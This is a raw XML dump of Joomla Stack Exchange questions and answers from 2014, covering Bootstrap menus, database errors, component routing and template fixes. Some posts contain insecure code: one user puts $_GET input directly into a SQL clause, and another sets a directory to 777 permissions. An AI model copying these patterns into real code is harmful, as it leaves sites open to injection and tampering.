&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!--Navigation--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then just before the closing body tag     (ie. before &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    (function($){&#xA;        $(document).ready(function(){&#xA;            // dropdown&#xA;            if ($('.parent').children('ul').length &amp;gt; 0) &#xA;            {&#xA;                $('.parent').addClass('dropdown');&#xA;                $('.parent &amp;gt; a').addClass('dropdown-toggle');&#xA;                $('.parent &amp;gt; a').attr('data-toggle', 'dropdown');&#xA;                $('.parent &amp;gt; a').append('&amp;lt;b class=&quot;caret&quot;&amp;gt;&amp;lt;/b&amp;gt;');&#xA;                $('.parent &amp;gt; ul').addClass('dropdown-menu');&#xA;            }&#xA;        });&#xA;    })(jQuery);&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    (function($){&#xA;        $('.dropdown input').click(function(e) {&#xA;        e.stopPropagation();&#xA;    });&#xA;    })(jQuery);&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &#xA;    (function($){&#xA;        $('.dropdown-menu .dropdown-submenu a[data-toggle=&quot;dropdown-submenu&quot;]').click(function (e)&#xA;        {                   &#xA;            e.stopPropagation();&#xA;        });&#xA;    })(jQuery);&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;!-- JS --&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note that the javascript above was obtained from a skeleton template that can be downloaded from &lt;a href=&quot;https://github.com/gsuez/master-bootstrap-3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/gsuez/master-bootstrap-3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bootstrap version I use is almost the same as the standard Bootstrap 3.2.0, but with one change. I've replaced the section called dropdown.js v3.2.0 in bootstrap.js&lt;br&gt;&#xA;with dropdown-doubletap.js from &lt;a href=&quot;https://github.com/mrhanlon/twbs-dropdown-doubletap&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mrhanlon/twbs-dropdown-doubletap&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this modified bootstrap version enables you to double click on the parent dropdown link (The first dropdown) to follow the link. Normally the parent dropdown acts as a header only (i.e. You can click it but you can't follow the link).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can probably just use the normal bootstrap if you want, but I haven't tested it. From memory, if you use the skeleton template I mentioned above with the modified bootstrap, you will need to remove dropdown.js from the params.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//$doc-&amp;gt;addScript('templates/'.$this-&amp;gt;template.'/js/dropdown.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also I forgot to mention that I used   &lt;code&gt;nav navbar-nav&lt;/code&gt; for the menu class suffix. Make sure you leave a space in front of the nav.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2hikh.jpg&quot; alt=&quot;menu class suffix for Joomla bootstrap3 navbar menu&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-10-29T10:42:38.443" LastActivityDate="2014-10-29T10:42:38.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4994" PostTypeId="2" ParentId="255" CreationDate="2014-10-29T10:58:26.487" Score="0" Body="&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I tested the below method and ran into problems. I wouldn't recommend it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using a bootstrap adapter. It doesn't remove dependencies on Bootstrap 2 (BS2), but it might still help you with your problem. I'm not entirely sure how it works,but I believe it replaces the BS2 css with styles compatible with BS3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://about.asika.tw/bootstrap3-adapter/&quot; rel=&quot;nofollow&quot;&gt;http://about.asika.tw/bootstrap3-adapter/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-01-06T01:15:20.127" LastActivityDate="2015-01-06T01:15:20.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4995" PostTypeId="1" CreationDate="2014-10-29T11:24:34.560" Score="4" ViewCount="6861" Body="&lt;p&gt;I create a Joomla website before 1 year, but before 1 month my Godaddy hosting said we have reached all resources and the CPU 100%, when I contact the support they said we have a PHP Script that start and not ended.&#xA;how can I find this script?&lt;/p&gt;&#xA;" OwnerUserId="2113" LastActivityDate="2019-09-07T08:47:57.100" Title="Error 503 service unavailable in my Godaddy hosting with Joomla 2.5 website" Tags="|joomla-2.5|php|k2|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4996" PostTypeId="2" ParentId="4995" CreationDate="2014-10-29T11:30:13.370" Score="1" Body="&lt;p&gt;I've never had a looping PHP script, thus never had to track it, however looking around and doing some research (&lt;em&gt;hint&lt;/em&gt;), you could use a tool such as &lt;a href=&quot;http://www.xdebug.org/&quot; rel=&quot;nofollow&quot;&gt;Xdebug&lt;/a&gt;. It will require a little patience and work. Also make sure you read the documentation so you know exactly what to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.xdebug.org/docs/&quot; rel=&quot;nofollow&quot;&gt;http://www.xdebug.org/docs/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be worth asking GoDaddy if they know which file is causing the loop before starting the above&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-29T11:30:13.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4997" PostTypeId="1" CreationDate="2014-10-29T12:03:55.687" Score="1" ViewCount="153" Body="&lt;p&gt;I am facing a problem. I have made payment through paypal. After payment when it redirect to my website, i have a code which update the value in database. But when i refresh the same page, it automatically update its value. I only want to update value only on making a payment not on refreshing. I am using the code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db  = JFactory::getDBO();&#xA;$result = null;     &#xA;$user    = JFactory::getUser();&#xA;&#xA;if ($user-&amp;gt;guest) {&#xA;    return false;&#xA;}&#xA;&#xA;$query = 'SELECT credit' .&#xA;         'FROM #__vodes_credits' .&#xA;         'WHERE userid = ' . (int) $user-&amp;gt;id;&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;&#xA;$result_final = $result+20;&#xA;&#xA;$query = 'update #__vodes_credits SET credit='.$result_final.&#xA;         'WHERE userid = ' . (int) $user-&amp;gt;id;&#xA;//echo $query;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadResult();&#xA;if ($db-&amp;gt;getErrorNum()) {&#xA;    JError::raiseWarning( 500, $db-&amp;gt;stderr());&#xA;}&#xA;&#xA;return $result;&#xA;&#xA;$app = JFactory::getApplication();&#xA;$app-&amp;gt;redirect(&quot;localhost/Joomla/&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help me to sought it out.&lt;/p&gt;&#xA;" OwnerUserId="1943" LastEditorUserId="168" LastEditDate="2014-10-29T12:08:08.700" LastActivityDate="2014-11-29T10:48:42.393" Title="Not update database value automatically" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4998" PostTypeId="1" AcceptedAnswerId="5009" CreationDate="2014-10-29T14:09:31.323" Score="1" ViewCount="810" Body="&lt;p&gt;What is the best Joomla 3.3 extension to effectively manage the structured metadata (microformat) in the pages of a site created with Joomla 3.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm using JoomSEF 4.5.3, but I'm not completely satisfied for several reasons: &#xA;1) does not allow the automatic management of structured information (microformats)&#xA;2) Some behaviors of its caching system does not satisfy me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to All&lt;/p&gt;&#xA;" OwnerUserId="1865" LastActivityDate="2018-02-25T17:01:53.637" Title="Best Joomla 3 extension to add microformat SEO metadata" Tags="|joomla-3.x|joomla-3.3.x|seo|microdata|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5000" PostTypeId="2" ParentId="4950" CreationDate="2014-10-29T16:07:33.043" Score="-1" Body="&lt;p&gt;Okay guys. I solved the problem! First, I uninstalled the template and I deleted the cache directory. Then I recreated it, giving 777 permissions. Then I re-installed the template and it worked!&#xA;Thanks..&lt;/p&gt;&#xA;" OwnerUserId="2090" LastActivityDate="2014-10-29T16:07:33.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5002" PostTypeId="1" AcceptedAnswerId="5003" CreationDate="2014-10-29T21:26:25.597" Score="4" ViewCount="5309" Body="&lt;p&gt;I have a couple of Joomla 3.3.6 websites, and suddenly this morning I started to get random error messages, like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error displaying the error page: Application Instantiation Error: Unknown storage engine 'InnoDB' SQL=DELETE  FROM `#####_session` WHERE `time` &amp;lt; '1414616481'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error displaying the error page: Application Instantiation Error: Unknown storage engine 'InnoDB' SQL=SELECT `session_id` FROM `#####_session` WHERE `session_id` = '5e5f2d5ee6daf15c2740e3e211a27941' LIMIT 0, 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is it possible that my websites have been hacked? These are live websites, and I haven't made any changes (not even visited the admin area) for weeks.&lt;/p&gt;&#xA;" OwnerUserId="1723" LastEditorUserId="12352" LastEditDate="2019-02-03T02:11:24.740" LastActivityDate="2019-02-03T02:14:57.817" Title="MySQL error: Unknown storage engine 'InnoDB'" Tags="|joomla-3.x|mysql|database|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5003" PostTypeId="2" ParentId="5002" CreationDate="2014-10-29T21:34:38.863" Score="4" Body="&lt;p&gt;This sounds like an error with your database server rather than your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you by any chance using a Hostgator Reseller account? Hostgator is currently experiencing problems with some of their servers, and I think it's been like that all day. Check &lt;a href=&quot;http://forums.hostgator.com/oct-29-02-00-emergency-maintenance-t328219.html&quot; rel=&quot;nofollow&quot;&gt;http://forums.hostgator.com/oct-29-02-00-emergency-maintenance-t328219.html&lt;/a&gt; for more information on the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using another host, I suggest you contact their support team, maybe they're able to help.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-29T21:34:38.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5004" PostTypeId="2" ParentId="5002" CreationDate="2014-10-29T21:35:34.860" Score="1" Body="&lt;p&gt;I find it rather odd that this error has started occurring all of a sudden. I believe the InnoDB engine was introduced from MySQL 5.1 onwards (not 100% sure). So, firstly:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check your MySQL version. If you're on 5.1 or below then get your host to update it.&lt;/li&gt;&#xA;&lt;li&gt;Get on contact with your host and ask them if they have for some odd reason downgraded your MySQL version.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-29T21:35:34.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5005" PostTypeId="1" AcceptedAnswerId="5016" CreationDate="2014-10-29T23:42:27.910" Score="1" ViewCount="177" Body="&lt;p&gt;IM building a component and im trying to work out how to do this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bookings / Orders / Order&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a bookings view and form&#xA;I have a orders view and form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im having trouble getting bookings to show orders based on booking id. I have added to the models file WHERE bid=GET[bid]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However that messes things up when coming back from editing an order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps are&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;click bookings &lt;/li&gt;&#xA;&lt;li&gt;view orders based on booking id ( my custom hack in the models file for orders ) &lt;/li&gt;&#xA;&lt;li&gt;open order  &lt;/li&gt;&#xA;&lt;li&gt;edit order &lt;/li&gt;&#xA;&lt;li&gt;click save &lt;/li&gt;&#xA;&lt;li&gt;return to orders view where booking id=booking id&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can manage this by adding a little hack into the controllers order.php file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That works for saving and going back and yet it crashes all other actions like publish,archive etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There must be a section in the mvc where i can put the additional &amp;amp;bid=$_GET['bid'] and it works across all submission actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to build a component with views that are parent to each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im happy to provide code but theres quite a lot. So maybe if you could direct me first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some other notes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my link to the orders from the bookings view&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_('index.php?option=com_tourbookings&amp;amp;view=orders&amp;amp;bid='.(int) $row-&amp;gt;id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my hack within the models/orders.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;where('a.bid = '.$_GET['bid']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far that works good, if i click it ill get the orders based on bid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then i am lost. Because if i try to hack from here i am completely stuck as it wont come back to the orders based on bid without crashing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i hack the controllers/order.php ( which has changed again in joomla 3.3+ )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find that it kind of works and allows me to go back to the previous page with bid=bid attached but if i try to archive,unpublish or do anything of that sort im stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="427" LastEditorUserId="427" LastEditDate="2014-10-29T23:54:21.843" LastActivityDate="2014-10-30T14:14:39.243" Title="Custom Component 3 levels deep" Tags="|component|development|joomla-3.3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5006" PostTypeId="1" AcceptedAnswerId="5007" CreationDate="2014-10-29T23:46:10.787" Score="3" ViewCount="142" Body="&lt;p&gt;This is probably not directly a J! problem so if you vote for closing, I'll remove the question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla 3.3.6 Offline page&lt;/strong&gt; – there is a login form displayed, but it is not editable, although its HTML looks fine. Even cursor remains in arrow shape over input boxes, it is not changed into &lt;code&gt;I&lt;/code&gt;. Nothing can be typed into text boxes and blue button doesn't respond. I thought it is a browser issue but I can see the same in multiple browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0LSv0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="159" LastEditDate="2014-12-09T21:03:14.123" LastActivityDate="2014-12-09T21:03:14.123" Title="Why form is non-editable on offline page?" Tags="|fix-my-code|css|gantry|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5007" PostTypeId="2" ParentId="5006" CreationDate="2014-10-29T23:57:29.733" Score="1" Body="&lt;p&gt;Found the issue. It's being caused by the overlapping background being applied to the parent element:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rt-footer-surround-pattern:before {&#xA;    background: url(&quot;../images/patterns/noise.png&quot;) repeat;&#xA;    content: &quot;&quot;;&#xA;    height: 100%;&#xA;    position: absolute;&#xA;    width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Update with solution:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Add the following CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#rt-subscription-form {&#xA;    background: #12374d url(&quot;../images/patterns/noise.png&quot;) repeat;&#xA;}&#xA;#rt-authorized-form {&#xA;    background: #35363a url(&quot;../images/patterns/noise.png&quot;) repeat;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and remove the CSS code I showed that was causing the problem at the top of my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-10-30T00:18:33.367" LastActivityDate="2014-10-30T00:18:33.367" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5008" PostTypeId="1" CreationDate="2014-10-30T00:08:27.243" Score="1" ViewCount="277" Body="&lt;p&gt;I tried to implement a check box to go to the products pages of this joomla v3:&#xA;&lt;a href=&quot;http://www.nordicpharma.com/es/nuestros-productos.html&quot; rel=&quot;nofollow&quot;&gt;http://www.nordicpharma.com/es/nuestros-productos.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two methods was used without success !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/moja/es9oar4y/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/moja/es9oar4y/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jsfiddle.net/moja/mb8u4u99/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Libraries used to try it:&#xA;jQuery library ajax.googleapis.com/ajax/libs/jquery/1.8/jquery.min.js&#xA;ajax.aspnetcdn.com/ajax/jquery.migrate/jquery-migrate-1.2.1.min.js&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know in which direction I have to search for ?&lt;/p&gt;&#xA;" OwnerUserId="2116" LastActivityDate="2014-12-29T15:39:42.830" Title="Javascript validation check box issue with Joomla v3.3" Tags="|joomla-3.3.x|javascript|validations|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5009" PostTypeId="2" ParentId="4998" CreationDate="2014-10-30T01:31:19.237" Score="1" Body="&lt;p&gt;You can use ITPMeta to crawl and add extra social meta tags &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For in article microformat you can use J4Schema which adds a button to JCE editor.&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2014-10-30T01:31:19.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5010" PostTypeId="2" ParentId="5006" CreationDate="2014-10-30T03:18:48.963" Score="1" Body="&lt;p&gt;&lt;b&gt;Template upgrade helped&lt;/b&gt;&lt;br&gt;&#xA;without need of manually changing any code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some research I found the problem was named in template change log. You can see it in &lt;a href=&quot;http://www.rockettheme.com/joomla/templates/anacron/modal/changelog&quot; rel=&quot;nofollow&quot;&gt;the change log&lt;/a&gt; for version 1.2 (scroll down the page). Then reset of Gantry cache needs to be performed and problem gets corrected.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2014-10-30T12:02:06.493" LastActivityDate="2014-10-30T12:02:06.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5011" PostTypeId="1" CreationDate="2014-10-30T03:33:48.867" Score="3" ViewCount="450" Body="&lt;p&gt;I really hope you can help me! I'm building a site as a favour to a charity (I am only a beginner with Joomla. I'm alright with html and css but crap with php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is on a category blog page. There is an open div in the first item so the column for the next item is appearing inside that column and so on, so each column is smaller and smaller and further to the left. I can find the problem line when I inspect the element and view the page source, but I cannot figure out how to fix it in my template files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page is &lt;a href=&quot;http://kellygroves.net/Joomla/index.php/adoptions/available-cats&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. This is just my dev site on my own domain. You can see the cats are all to the left instead of columns and if you inspect it you can see the columns fitted inside each other. FF and Chrome display it slightly differently, but both have the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The line in the page source is 254. That background-color div should be closed on the next line, but it's not. I have enough experience with Joomla to figure out how to move things and change colors and stuff, but I really don't understand where this div would be created and therefore where I go to add the closing tag. This template has given me some grief - it's not well written, but other than this I've managed to sort it. If you can give me some advice about where to look, or how to trace the code back, or if some kind soul is willing to work with me to sort it out I would be much obliged.&#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2117" LastEditorUserId="1629" LastEditDate="2014-10-30T04:58:27.257" LastActivityDate="2014-10-30T04:58:27.257" Title="How to trace source of open &lt;div&gt; in Joomla template" Tags="|fix-my-code|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5012" PostTypeId="2" ParentId="5011" CreationDate="2014-10-30T04:57:12.497" Score="2" Body="&lt;p&gt;The Category Blog view is (by default) generated by the files &lt;code&gt;components\com_content\views\category\tmpl\blog.php&lt;/code&gt; (layout for the blog page) and &lt;code&gt;components\com_content\views\category\tmpl\blog_item.php&lt;/code&gt; (layout for each item on the blog page). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But your template almost certainly uses overrides in order to change the output. (&lt;strong&gt;Never&lt;/strong&gt; edit any core Joomla files, always try to use overrides.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if you're familiar with overrides, but basically it's a file within your template directory that is used for rendering instead of the core Joomla file. This is a very powerful function in Joomla, and you might want to read &lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;this introduction&lt;/a&gt;, and take a look at other posts tagged &lt;a href=&quot;/questions/tagged/overrides&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;overrides&amp;#39;&quot; rel=&quot;tag&quot;&gt;overrides&lt;/a&gt; on JSE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, back to your question. The code you're looking for is &lt;em&gt;probably&lt;/em&gt; located in the file &lt;code&gt;/templates/grab/html/com_content/category/blog.php&lt;/code&gt; or &lt;code&gt;/templates/grab/html/com_content/category/blog_item.php&lt;/code&gt;. Edit the file as needed (add your closing &lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt;), save and reload your page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps, and welcome to Joomla StackExchange. &lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-30T04:57:12.497" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5013" PostTypeId="1" CreationDate="2014-10-30T09:45:06.610" Score="2" ViewCount="1808" Body="&lt;p&gt;How to get all parent categories in joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the following:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get the Category Content Object &#xA;jimport( 'joomla.application.categories' );&#xA;$categories = JCategories::getInstance('Content');&#xA;&#xA;  $cid = urldecode(JRequest::getString('cid'));&#xA;&#xA;  $i=0;&#xA;  $catid[$i] = $cid;&#xA;&#xA;  while ($catid[$i] != &quot;root&quot;) {&#xA;&#xA;    $cat = $categories-&amp;gt;get($catid[$i]);&#xA;    $i++;&#xA;&#xA;    $catid[$i]= $cat-&amp;gt;parent_id;&#xA;&#xA;  }&#xA;&#xA;  var_dump($catid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice: Trying to get property of non-object in E:\xamppppp\htdocs\**\**.php on line 56&#xA;array(2) { [0]=&amp;gt; string(2) &quot;20&quot; [1]=&amp;gt; NULL }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2120" LastEditorUserId="126" LastEditDate="2016-01-22T00:26:13.867" LastActivityDate="2016-01-22T00:26:13.867" Title="How to get all parent categories in Joomla?" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5014" PostTypeId="2" ParentId="5013" CreationDate="2014-10-30T12:51:06.180" Score="1" Body="&lt;p&gt;The majority of the time, when I need to get data that is stored in the database, depending on the situation, I tend to stick to database queries as they are more flexible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('title')))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__categories'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('parent_id') . ' != 0')&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('extension') . ' = ' . $db-&amp;gt;quote('com_content'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;&#xA;foreach ($rows as $row) &#xA;{&#xA;    echo '&amp;lt;p&amp;gt;' . $row-&amp;gt;title . '&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will get all categories for com_content apart from the very root category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added in a little &lt;code&gt;foreach&lt;/code&gt; loop to display the title of the category for each result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-10-30T23:34:22.110" LastActivityDate="2014-10-30T23:34:22.110" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5015" PostTypeId="2" ParentId="5008" CreationDate="2014-10-30T14:03:59.740" Score="1" Body="&lt;p&gt;Firstly, Joomla v3.3 includes jQuery v1.11.1. You should not replace it with a previous version. It can cause general problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, the Javascript validation routine is not included in the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the second validation, Joomla does not implement jQuery with the $ sign, you have to call it with jQuery, for example: jQuery('#checky').&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-10-30T14:03:59.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5016" PostTypeId="2" ParentId="5005" CreationDate="2014-10-30T14:14:39.243" Score="2" Body="&lt;p&gt;The question is very general. At first glance:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The question depends on how you are implementing a MVC in Joomla! and which Controller flavour are you following. In my perspective, I avoid any MVC issue just relaying on &lt;a href=&quot;https://github.com/akeeba/fof&quot; rel=&quot;nofollow&quot;&gt;FoF&lt;/a&gt;, instead of elucidating how to implement a native controller in Joomla 2.5, 3, or 3.x.&lt;/li&gt;&#xA;&lt;li&gt;DO NOT use $_GET, for security reasons. Instead of using the raw variables, implement JInput. For example, FoF implements F0FInput, extending JInput.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-10-30T14:14:39.243" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5017" PostTypeId="1" AcceptedAnswerId="5021" CreationDate="2014-10-30T16:35:43.277" Score="2" ViewCount="583" Body="&lt;p&gt;I have to upgrade a site from J2.5 to J.3, that has installed the full edition of yootheme zoo component. The site does not make use of the extra apps though, but only a custom app instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows if the full edition is still needed for the upgrade, or I can simply use the free one?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-10-30T19:22:32.517" Title="Zoo full edition upgrade to free with custom app" Tags="|upgrade|zoo-cck|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5018" PostTypeId="1" CreationDate="2014-10-30T16:46:26.533" Score="5" ViewCount="341" Body="&lt;p&gt;Getting into Joomla and love the system. Wondering if there's an equivalent to Drupal web forms for Joomla or Gravity Forms for Wordpress.&lt;/p&gt;&#xA;" OwnerUserId="2122" LastActivityDate="2014-11-13T20:00:16.443" Title="Equivalent tool to Drupal Web Forms" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
